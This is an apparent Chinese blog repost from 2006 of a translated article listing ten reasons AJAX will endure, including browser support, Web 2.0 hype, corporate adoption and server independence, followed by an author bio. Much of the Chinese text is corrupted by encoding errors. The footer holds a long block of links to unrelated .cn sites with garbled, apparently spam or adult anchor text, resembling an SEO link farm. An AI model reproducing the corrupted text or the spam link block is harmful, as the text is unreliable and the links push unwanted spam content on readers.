2em">IE和基于Mozilla的FIREFOX是占据市场分额最大的两个览器,q且它们都支持在览器上L创徏ZAJAX的WEB应用。现在开发运行在更ؓ先进的WEB览器上的基于AJAX的富WEB应用成ؓ了可能。这是ؓ什么AJAX应用变得如此行的一个最重要的原因。其实很多开发h员多q前意识到AJAX技术流行的可能Q但一直没有流行是因ؓ览器厂商的原因。感谢Mozilla和FIREFOX?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W四名:使常规的WEB应用受益</b> </p> <p style="TEXT-INDENT: 2em">AJAX技术是当今WEB应用的门面——WEB应用获得的利益超q了桌面应用。这些利益包括部|应用的低投入、维护方ѝ羃短开发时间和不需要安装。这些都是促使商业和用户自从上世U九(ji)十年代以来采用WEB应用的优炏VAJAX技术不但能使WEB应用获得益处Q而且使最l用户受益?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W五名:促技能、工具和技术的升</b> </p> <p style="TEXT-INDENT: 2em">׃AJAXZq些q一直用的一些公开标准Q很多的开发h员就会有新的技术方面的要求以便能够开发AJAX应用。但qƈ不意味着开发团队从ZHTML和FORM的应用{Ud富AJAX型应用需要很高的学习曲线。同Ӟq意味着开发WEB应用的开发团体需要加速将他们的用h口升U到AJAXQ但q不需要一个大规模的升U和重写他们的WEB应用。自从上世纪?ji)十q代以来Q在开发基于浏览器应用Ҏ(gu)׃大量投资的那些系l强烈的希望能在现有的应用的基础上增加用户体验?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W六名:能和Flex和Flash{技术的很好的集?/b> </p> <p style="TEXT-INDENT: 2em">大多数的开发社区都不再支持FlashvsAJAX的火热讨论,q两U技术都在不同的场合拥有各自的优点和~点Q但是它们有大量的机会可以集成到一起工作。很多的开发h员和技术提供商意识到这一点,q且开发出了伟大的产品来集成Flex和AJAX协调使用。我们也热切的期望看C者能在Macromedia里一起工作?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W七名:采用?/b> </p> <p style="TEXT-INDENT: 2em">AJAX被业内领袖广泛采用证明了市场的欢q程度和该技术组的正。每一个该技术的使用者都成ؓ了胜利者:包括google、yahoo、Amazon和微软等{。是google地图吸引了WEB开发h员的目光Q当Z开始调查是什么原因得google有着如此惊h的用户体验的时候,Z揭开了罩在AJAX头上的面U?/p> <p style="TEXT-INDENT: 2em">当然Q仅仅是google使用AJAX是不够得这Ҏ(gu)术跨从支流C的鸿沟的。但是,如果你看一看用AJAX技术的客户如eBusinessApplications(www.ebusinessapps.com)orTibco(<a target="_blank"><font color="#002c99">http://www.tibco.com){的表单Ӟ你就会发现胦?00强包括主要的金融机构、政府机构、航I公司和其他主要商业机构采用AJAXQƈ且在AJAX成ؓ通货之前很早开始用了?/font></a></p> <p style="TEXT-INDENT: 2em"> <b>十大理由W八名:WEB2.0</b> </p> <p style="TEXT-INDENT: 2em">喜欢也好Q厌恶也|。WEB2.0q行吸引了开发h员、风险投资商、市场和最l用L所有的目光。这些明的促进了AJAX的早期应用。当大肆的宣传过M后,我们会看到什么呢Q从BackPack到google地图QAJAX界面是WEB2.0应用的主要的l成。大量的宣传有助于加速采用AJAXQ而在可用性上的获益会使得该技术被q发应用。WEB2.0的一个主要原则是使用WEB作ؓ一个应用开发的q_Q而不仅仅是一个网c高的可用性和交互能力的用L面是一切应用^台的主要l成部分?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W九(ji)名:AJAXZ服务器技术的不确定?/b> </p> <p style="TEXT-INDENT: 2em">和AJAX技术的览器的独立性相同,该技术也兼容所有的标准型的服务器和服务端语aQ如PHP,ASP.ASP.Net,Perl,JSP,ColdFusion{等Q选择属于你的那种然后开始。这使得AJAX开发独立,因ؓ所有的开发h员都能用ƈ且一赯论相同的表现层?/p> <p style="TEXT-INDENT: 2em"> <b>十大理由W十名:ZWEB的下一代RIA技术还没有出现</b> </p> <p style="TEXT-INDENT: 2em">今天׃用XUL技术开发应用的人是伟大的,因ؓ现在90%的浏览器q不支持q种技术,对于大多数的实际应用来说Q用这U技术不切合实际。然而,AJAX开发h员应该给Z部分的注意力在这些技术,如XAML和XUL上。毫无疑问,q些技术将使开发富WEB应用变得单。但是它们可能相互不兼容q且拥有不同的市场需求或动力?/p> <p style="TEXT-INDENT: 2em">在今后一D|_AJAX技术将极大的提高WEB应用的可用性。AJAX技术ƈ不完,不是“火科学”许多的开发h员和技术公司始l在试RIA的其他更好的技术。而实际的问题是AJAX技术现在已l存在ƈ且应用的很好Q它跨浏览器、跨q_Q而且不管是用戯是开发h员都喜欢它的作用。特征鲜明的AJAX应用如google地图已经成ؓ了本领域的领D(q有Z用MapQuest吗?Q同LQ领先的财富500Z用AJAX技术ƈ且A(ch)献了开发工LC֌了。一般来_业内在用AJAX技术上取得了一致ƈ且正在用它。再一ơ,RIA应用和WEB应用使用了AJAX获得的一个主要的优势不仅仅是开发h员的一个工P而是一个现象:它改变了我们开发WEB应用的方式。没说得清楚在RIA应用斚wQ哪一U技术会取代它,会在什么时候取代它Q但是很多因素都支持AJAX应用应该持箋好多q?/p> <p style="TEXT-INDENT: 2em"> <b>关于作?/b> </p> <p style="TEXT-INDENT: 2em">AndreCharland从事Internet软g开始超q十q之久,他是eBusinessApplications(www.ebusinessapps.com)公司的主席和创徏者之一。他和DaveJohnson?998q创Z该公司。他主要的经验在可用性、市场、项目管理和Z构g的Y件开发。所受教育包括:在Vancouver,BC的SimonFraserUniversityQ他在那里读计算机科学和工商理。他作ؓ开发者、管理者和架构师等不同w䆾有上百个Internet目的经验?/p> <p style="TEXT-INDENT: 2em">原文链接<a target="_blank"><font color="#002c99">http://www.developer.com/java/other/article.php/3567706</font></a></p> <img src ="http://www.shnenglu.com/Jeff-Chen/aggbug/6866.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 13:21 <a href="http://www.shnenglu.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.xibeiguangdian.cn" target="_blank">ۿ ۺϾþþþùɫ ŷ һ </a>| <a href="http://www.hbxasn.cn" target="_blank">Ʒþþþù</a>| <a href="http://www.xy-ly.com.cn" target="_blank">պþӰԺ </a>| <a href="http://www.sccdseo.cn" target="_blank">޾Ʒþþþsm</a>| <a href="http://www.hongyuan123.cn" target="_blank">Ʒþþþþҹ</a>| <a href="http://www.enetbase.cn" target="_blank">žžþþƷר</a>| <a href="http://www.ks29n.cn" target="_blank">þˬˬƬAV</a>| <a href="http://www.jrsddk.cn" target="_blank">þþþþþĻ </a>| <a href="http://www.wwwocj.com.cn" target="_blank">?VþþƷ</a>| <a href="http://www.7111393.cn" target="_blank">ҹҹݺݾþAV</a>| <a href="http://www.hfko.cn" target="_blank">þøһëƬ</a>| <a href="http://www.sztaoren.cn" target="_blank">2021þþƷ99Ʒ</a>| <a href="http://www.dgltjsh.cn" target="_blank">þۺɫ</a>| <a href="http://www.cheaprolex.cn" target="_blank">պŷþþwwwۺ</a>| <a href="http://www.buy162.cn" target="_blank">һþþ</a>| <a href="http://www.pvzj.cn" target="_blank">AAƬѿƵþ</a>| <a href="http://www.blueheaven.com.cn" target="_blank">޾Ʒһþþ</a>| <a href="http://www.zhe9tao.cn" target="_blank">Ʒþþþһ</a>| <a href="http://www.jw62.cn" target="_blank">ŷ츾XXXXԾþþ </a>| <a href="http://www.07ww.cn" target="_blank">뾫ƷþɪӰ</a>| <a href="http://www.veyp.cn" target="_blank">91þùۺϾƷ</a>| <a href="http://www.egpk.cn" target="_blank">69Ʒþþþ9999APGF</a>| <a href="http://www.alilinfen.cn" target="_blank">þþƷ99þ㽶</a>| <a href="http://www.galidun.cn" target="_blank">ھƷþ޻</a>| <a href="http://www.nba52.cn" target="_blank">ҹƷþþþþþ</a>| <a href="http://www.zurpd.cn" target="_blank">Ʒþþþa</a>| <a href="http://www.masterflexpump.com.cn" target="_blank">˾Ʒһþ</a>| <a href="http://www.aeuou.cn" target="_blank">wwwɫ˾þþƷ</a>| <a href="http://www.mxklj.cn" target="_blank">91þþһȫ</a>| <a href="http://www.ceovod.cn" target="_blank">þ˽˹Ʒ</a>| <a href="http://www.ipingpong.cn" target="_blank">޾þˬ˾Ʒ </a>| <a href="http://www.3344pltn.cn" target="_blank">þƵ1</a>| <a href="http://www.mrksl.cn" target="_blank">һþƵ</a>| <a href="http://www.227s.cn" target="_blank">þþù޾Ʒ</a>| <a href="http://www.audtw.cn" target="_blank">˾ƷۺϾþþþ</a>| <a href="http://www.caregps.cn" target="_blank">þþù޾Ʒ</a>| <a href="http://www.donglianggc.cn" target="_blank">þþƷaĻ</a>| <a href="http://www.cybook.com.cn" target="_blank">ɫ8ŷ˾þۺϵ</a>| <a href="http://www.tdstudio.com.cn" target="_blank">þ޹ӰԺվ</a>| <a href="http://www.dfpt.net.cn" target="_blank">ٸƷþ</a>| <a href="http://www.lntyzx.com.cn" target="_blank">þAV뾫Ʒ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>